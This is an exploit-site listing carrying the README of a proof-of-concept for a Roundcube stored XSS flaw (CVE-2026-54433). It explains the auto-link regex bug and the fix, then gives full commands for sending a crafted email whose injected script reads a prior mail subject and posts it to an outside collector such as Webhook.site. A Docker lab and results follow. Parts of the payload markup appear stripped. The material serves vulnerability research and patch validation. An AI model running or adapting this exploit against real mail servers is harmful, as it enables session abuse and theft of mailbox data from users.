Sploitus

Exploit for Cross-site Scripting in Roundcube Webmail

githubexploit Β· 2026-08-14

Exploit Code

README295 lines
## https://sploitus.com/exploit?id=C0C06951-679E-54A9-AF55-B55250EBE0B8
# CVE-2026-54433: Roundcube plain-text email stored XSS

![Exploit execution demo](assets/CVE-2026-54433-demo.gif)

This repository contains a configurable Python proof of concept for
**CVE-2026-54433**, a stored cross-site scripting vulnerability in Roundcube's
plain-text email renderer. An unauthenticated sender can deliver a crafted
`text/plain` message. When an authenticated Roundcube user opens or previews
that message, attacker-controlled JavaScript executes in the Roundcube origin.

The PoC demonstrates concrete authenticated-session impact without collecting
cookies or message bodies: it reads the subject of one older message and sends
that value, the Roundcube origin, and the task name to an authorized collector
as URL-encoded POST fields.

> **Warning**
>
> This is active exploit code. Use it only in a lab you own or against a system
> and mailbox you are explicitly authorized to test. The sending mode transmits
> a crafted email and may disclose one pre-existing subject to the collector.
> Use `--generate-only` for offline inspection.

## Vulnerability summary

Roundcube converts addresses found in plain-text messages into clickable
`mailto:` links. In affected versions, the optional query suffix was matched
with `\S+`:

```php
. '(\?\S+)?'
```

Because `\S` includes ``, a string beginning like an email address
could make the auto-link replacement consume an opening HTML tag while leaving
the remainder to be interpreted as markup. This minimal form illustrates the
primitive:

```text
a@a.co?]
```

The upstream fix restricts the query suffix so it cannot contain angle
brackets or whitespace:

```php
. '(\?[^<>\s]+)?'
```

The vendor describes the issue as "zero-click" because no link click is
required. Opening or previewing the email while authenticated is still the
mail-client action that renders the payload.

## Affected and fixed versions

| Release line | Status |
| --- | --- |
| Roundcube versions before 1.6.17 | Affected |
| Roundcube 1.6.17 and later 1.6.x | Fixed |
| Roundcube 1.7.0 and 1.7.1 | Affected |
| Roundcube 1.7.2 and later | Fixed |

The public fix commits are:

- 1.7 line: [`5477e979aae0317e111564bfc9971ba7707cc165`](https://github.com/roundcube/roundcubemail/commit/5477e979aae0317e111564bfc9971ba7707cc165)
- 1.6 line: [`4c278f4868c67b163567cae3d74e58d872913459`](https://github.com/roundcube/roundcubemail/commit/4c278f4868c67b163567cae3d74e58d872913459)

Upgrade to Roundcube 1.6.17 / 1.7.2 or a newer supported release.

## Preconditions and scope

- The attacker needs a way to deliver email to the victim, but no Roundcube
  account, password, plugin access, or administrator access.
- The message must be rendered by an affected Roundcube version as
  `text/plain`.
- The victim must have an authenticated Roundcube session and open or preview
  the message.
- No third-party Roundcube plugin is required.
- The positive Docker test used Roundcube's default Elastic skin. The root
  primitive is in server-side plain-text conversion; other skins were not
  claimed as independently tested here.
- Roundcube's "remote resources have been blocked" control did not stop the
  tested primitive: the hidden image uses a failing relative `src` to invoke
  `onerror`. A collector callback still requires browser network reachability.
- Roundcube's session cookie is normally `HttpOnly`. This PoC does not attempt
  to read it. Its same-origin request automatically uses the authenticated
  session, and the separate-message subject is the impact proof.

The demonstrated result is authenticated JavaScript execution and read access
to one earlier email subject. Account takeover, arbitrary message-body theft,
and server-side code execution are not claimed by this repository.

## PoC behavior

`cve-2026-54433-poc.py` is self-contained and uses only the Python standard
library. It:

1. builds a crafted ordinary RFC 5322 `text/plain` email;
2. scans at most 50 lower UIDs in the current Roundcube mailbox by default;
3. selects the first older subject not beginning with `CVE-2026-54433`;
4. POSTs `subject`, `origin`, and `task` to `/capture/`;
5. never reads cookies, credentials, message bodies, or attachments;
6. optionally submits the email using plain SMTP, STARTTLS, or implicit TLS;
7. optionally polls Webhook.site or a compatible JSON status endpoint.

The payload inserts the DOM comment:

```html

```

It also hides the auto-linked address fragment and broken-image indicator while
showing the caller-supplied benign body.

## Offline generation

Generate the email without making a network connection:

```sh
python3 cve-2026-54433-poc.py \
  --from researcher@example.test \
  --to victim@example.test \
  --subject 'Account access problem' \
  --body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
  --collector https://collector.example.test \
  --generate-only
```

This writes:

- `cve-2026-54433-trigger.eml`
- `cve-2026-54433-evidence.json`

Inspect the generated message before using the sending mode.

## Authorized SMTP test with Webhook.site

The `--collector` value can be a Webhook.site UUID, capture URL, or
`#!/view/` URL. The script derives the capture and polling endpoints.

```sh
python3 cve-2026-54433-poc.py \
  --from researcher@example.com \
  --to authorized-victim@example.net \
  --subject 'Account access problem' \
  --body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
  --collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
  --smtp-host smtp.example.com \
  --smtp-port 587 \
  --smtp-security starttls \
  --smtp-user researcher@example.com
```

If `SMTP_PASSWORD` is absent, the script asks for the password without echoing
or storing it. A differently named variable can be selected with
`--smtp-password-env NAME`. Avoid `--smtp-password` on multi-user systems
because command-line arguments may be visible in process listings or shell
history.

The script asks for an explicit `YES` before sending. In non-interactive,
already-authorized lab automation, pass `--yes`. It waits up to 24 hours for a
callback by default; use `--timeout SECONDS` to change this.

For a non-Webhook.site collector, pass the capture base and optional JSON
status endpoint:

```sh
python3 cve-2026-54433-poc.py \
  --from researcher@example.test \
  --to victim@example.test \
  --subject 'Authorized XSS test' \
  --collector https://collector.example.test \
  --poll-url https://collector.example.test/status \
  --smtp-host mail.example.test \
  --smtp-security starttls
```

The included `collector.py` implements the compatible `/capture/` and
`/status` endpoints. It binds to loopback by default. Real HTTPS deployment and
access control are intentionally left to the authorized tester.

## Reproducible Docker lab

The lab has no published host ports and contains only synthetic messages. It
uses the same Python PoC to generate the trigger, delivers both messages into a
disposable Dovecot mailbox, signs in through a disposable headless browser,
and records whether the injected handler read the previous subject.

Requirements: Docker, Python 3, OpenSSL, and `jq`.

Vulnerable test:

```sh
./lab/run.sh
```

Fixed control:

```sh
ROUNDCUBE_IMAGE=roundcube/roundcubemail:1.7.3-apache \
ROUNDCUBE_VERSION=1.7.3 EXPECTED_RESULT=NOT_CONFIRMED \
./lab/run.sh
```

For a video or live browser demonstration, run:

```sh
./lab/demo.sh
```

It publishes Roundcube and the visual collector on loopback only. Open the two
URLs printed by the script, show the initially empty collector, sign in using
the printed synthetic credentials, click the trigger email, and return to the
collector. The captured synthetic subject appears in an auto-refreshing table.
Ctrl-C removes the disposable containers and network.

To record the browser interaction and a real Webhook.site callback, use the
reproducible recorder. It requires Chrome, Xvfb, ffmpeg, Docker, and an
authorized Webhook.site token supplied through the environment:

```sh
WEBHOOK_TOKEN='REPLACE-WITH-UUID' ./record-browser-demo.sh
```

The resulting MP4 shows the visible Roundcube trigger row, an annotated mouse
click, and Webhook.site displaying the received synthetic subject. The token is
never stored in the source tree.

Recorded artifact: [`assets/CVE-2026-54433-webhook-demo.mp4`](assets/CVE-2026-54433-webhook-demo.mp4)

The recording includes a visible terminal panel showing the generate-only Python invocation, its payload-generation output, the Roundcube click, and the resulting Webhook.site request.

The visual demo also accepts `COLLECTOR_URL` and `COLLECTOR_VIEW_URL`; point
both at an authorized Webhook.site token to show the real collector receiving
the synthetic subject. Do not reuse a token containing unrelated requests.

## Reproduced results

The end-to-end comparison was run on 2026-08-14 on x86-64 Linux with Docker:

| Control | Image digest | Injected handler | Prior subject sent | Result |
| --- | --- | --- | --- | --- |
| Roundcube 1.7.1 Apache | `sha256:15866e72c583a7c0117c94d515c366946b20157569d65ef9c24dca6026663b1f` | `eval(name)` present | Yes, URL-encoded POST | `CONFIRMED` |
| Roundcube 1.7.3 Apache | `sha256:ddf0e11b5afdbbc615e1d43a1cc9743fc44423e6c21fc93f7dd5dfaa20289ad6` | Absent; markup escaped | No callback | `NOT_CONFIRMED` |

Positive callback body (synthetic value, origin sanitized):

```text
subject=Existing+private+subject+2026&origin=http%3A%2F%2Froundcube.example.test&task=mail
```

The structured, sanitized comparison is in
[`docs/e2e-results.json`](docs/e2e-results.json).

## Verify the publication tree

The offline check compiles the Python sources, generates a fresh `.eml`, and
checks its MIME type, payload primitive, visible body, comment, and metadata:

```sh
./verify.sh
```

Set `RUN_DOCKER=1` to append both end-to-end Docker controls:

```sh
RUN_DOCKER=1 ./verify.sh
```

## Public exploit search snapshot

On 2026-08-14, targeted searches for `CVE-2026-54433` on GitHub,
Exploit-Database, and Packet Storm did not locate a validated, configurable
mail-sending exploit with an end-to-end vulnerable/fixed comparison. Vendor and
vulnerability-database entries, scanner-template discussions, and descriptive
write-ups already existed. This is a dated search snapshot, not a claim that no
other PoC can exist.

## References

- [Roundcube security release announcement](https://roundcube.net/news/2026/07/05/security-updates-1.6.17-and-1.7.2)
- [NVD entry for CVE-2026-54433](https://nvd.nist.gov/vuln/detail/CVE-2026-54433)
- [Roundcube 1.7 fix commit](https://github.com/roundcube/roundcubemail/commit/5477e979aae0317e111564bfc9971ba7707cc165)
- [Roundcube 1.6 fix commit](https://github.com/roundcube/roundcubemail/commit/4c278f4868c67b163567cae3d74e58d872913459)

Vulnerability discovery: **Bohdan Kurinnoy**, Samsung R&D Institute Ukraine
(SRUKR), as credited by Roundcube.

Research, impact validation, and exploit implementation: **A. Ramos**
`` (Twitter: [@aramosf](https://twitter.com/aramosf)).

## About

CVE-2026-54433 Roundcube plain-text email stored XSS PoC with bounded
authenticated mailbox-subject evidence and a vulnerable/fixed Docker lab.